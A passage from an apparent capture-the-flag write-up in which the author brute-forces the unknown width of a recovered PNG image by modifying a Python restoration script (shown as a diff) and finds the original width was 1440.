        new_height = int(height * max_width / width)
        image = image.resize((max_width, new_height))
        width, height = image.size
    if height > max_height:
        new_width = int(width * max_height / height)
        image = image.resize((new_width, max_height))

It seems that the image has already been restored, but was unable to be resized. Well, since we don’t know the exact resolution of the image, this was not beyond my expectation. So can we bruteforce the resolution?

Traversing both the length and width at the same time could be time-consuming. However, we can only enuming width and manually check the image since excessive height won’t hurt the quality of the image too much.

So we completely comment out this part to ignore the error, fix height=1080 and bruteforce the width from original_width+1:

(created by diff -wb, don’t apply directly)

1
2
3
4
5
6
7
8
9
10
11
12
132c132,135
<               out = open(os.path.join(tempdir, 'restored.png'), "wb")
---
>               tempdir = '../out/'
>               orig_height = 1080
>               for orig_width in range(1048,2160):
>                       out = open(os.path.join(tempdir, f'{orig_width}.png'), "wb")
161c164,165
<               print("Done!")
---
>                       print(f"Done {orig_width}!")
>                       out.close()

It turns out that the original width was 1440.

restored.png

This post is licensed under CC BY 4.0 by the author.

Brief Writeups for CTFs of Feb Week 3

-

Trending Tags